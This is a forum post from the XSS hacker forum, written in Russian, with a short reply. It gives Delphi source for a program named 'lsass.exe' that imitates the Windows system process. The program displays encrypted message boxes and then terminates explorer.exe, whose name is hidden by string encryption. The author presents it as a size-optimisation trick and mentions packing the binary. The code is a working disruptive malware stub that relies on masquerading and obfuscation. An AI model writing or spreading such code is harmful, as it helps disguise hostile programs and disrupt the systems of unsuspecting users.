• XSS.stack #1 – первый литературный журнал от юзеров форума

пример использования killtask

demien

(L2) cache
Пользователь
Регистрация
29.09.2008
Сообщения
492
Реакции
14
Привет всем...
я как-то уже писал про killtask, по для её работы нужно подключать SysUtils и tlhelp32

на этом примере я покажу как можно избавиться от лишних 8ми - 10ти кб, которые иногда бывают очень некстати методом экспортирования нужних функций из SysUtils... (позже покажу как отвязаться от tlhelp32), ну а щаз читайте... :) (среда Delphi)

Код:
(* project abc aka lsass.exe
author:  demien
relise: 2009, v0.2
selfsize : 15 kb (after rebuildPE)
after pack winUpack 0.39b final size 7.05 kb
....
in next version i'll show u how make
killtask procedure without
tlhelp32 (it's make our exe file much
bigger size), we import all
used const's, var's and functions
to this module, and our exe's size will be
increased and smaller that now =)
protected by demien (c) 2008 aka Int64h *)

program lsass.exe;

uses
  windows, enc, tlhelp32;

{$R lsass.exe.res}
type
TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte);
(*$EXTERNALSYM LeadBytes*)
(*$HPPEMIT 'namespace Sysutils {'*)
(*$HPPEMIT 'extern PACKAGE System::Set<Byte, 0, 255>  LeadBytes;'*)
(*$HPPEMIT '} // namespace Sysutils'*)

TSysLocale = packed record
    DefaultLCID: Integer;
    PriLangID: Integer;
    SubLangID: Integer;
    FarEast: Boolean;
    MiddleEast: Boolean;
end;

const
  PathDelim  = {$IFDEF MSWINDOWS} '\'; {$ELSE} '/'; {$ENDIF}
  DriveDelim = {$IFDEF MSWINDOWS} ':'; {$ELSE} '';  {$ENDIF}

 var
  SysLocale: TSysLocale;
  LeadBytes: set of Char = [];

function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
var
  I: Integer;
begin
  Result := mbSingleByte;
  if (P = nil) or (P[Index] = #$0) then Exit;
  if (Index = 0) then
  begin
    if P[0] in LeadBytes then Result := mbLeadByte;
  end
  else
  begin
    I := Index - 1;
    while (I >= 0) and (P[I] in LeadBytes) do Dec(I);
    if ((Index - I) mod 2) = 0 then Result := mbTrailByte
    else if P[Index] in LeadBytes then Result := mbLeadByte;
  end;
end;

function ByteType(const S: string; Index: Integer): TMbcsByteType;
begin
  Result := mbSingleByte;
  if SysLocale.FarEast then
    Result := ByteTypeTest(PChar(S), Index-1);
end;

function StrScan(const Str: PChar; Chr: Char): PChar;
begin
  Result := Str;
  while Result^ <> Chr do
  begin
    if Result^ = #0 then
    begin
      Result := nil;
      Exit;
    end;
    Inc(Result);
  end;
end;

function UpperCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

function LastDelimiter(const Delimiters, S: string): Integer;
var
  P: PChar;
begin
  Result := Length(S);
  P := PChar(Delimiters);
  while Result > 0 do
  begin
    if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then
{$IFDEF MSWINDOWS}
      if (ByteType(S, Result) = mbTrailByte) then
        Dec(Result)
      else
        Exit;
{$ENDIF}
    Dec(Result);
  end;
end;

function ExtractFileName(const FileName: string): string;
var
  I: Integer;
begin
  I := LastDelimiter(PathDelim + DriveDelim, FileName);
  Result := Copy(FileName, I + 1, MaxInt);
end;

function fuck(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
                    (TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
                                FProcessEntry32);
        while integer(ContinueLoop) <> 0 do
    begin
       if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
            UpperCase(ExeFileName))
        or (UpperCase(FProcessEntry32.szExeFile) =
            UpperCase(ExeFileName))) then
         Result := Integer(TerminateProcess(OpenProcess(
                           PROCESS_TERMINATE, BOOL(0),
                           FProcessEntry32.th32ProcessID), 0));
       ContinueLoop := Process32Next(FSnapshotHandle,
                                     FProcessEntry32);
    end;
    CloseHandle(FSnapshotHandle);
end;

  (*                meandyou^._.^meandyou                  *)
begin
 messagebox(0, pchar(decrypt('s`kr*n}(uojt ph}"iex/x{c''njlesiqj*xfy`irq#Spt]vhf|!-j''afm`bf*b#=?=0')), 'protbydemien', 0);
 messagebox(0, pchar(decrypt('igu!s`z(cuoo{bz,drj/zajk%ae)a}ajok/7!')), pchar(decrypt('wzmuol{hl&e|#dljago')), 0);
 messagebox(0, pchar(decrypt('sz{!~`/{acp%pt{nfer*`i-|nnv#p{ho"hd/khjs`bfr):!')), pchar(decrypt('wzmuol{hl&e|#dljago')), 0);
 fuck(Decrypt('bprme}j&c`')); //explorer.exe
end.




by demien &copy; - 2009. 4148888[1]8
спасибо за чтение....
 
Да уж... а ведь если откомпилировать без отладочной информации, а потом обработать Strip'ом, то сэкономишь намного больше весу. А если юзать KOL&MCK, то пустой проект вообще 28кб весит:)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх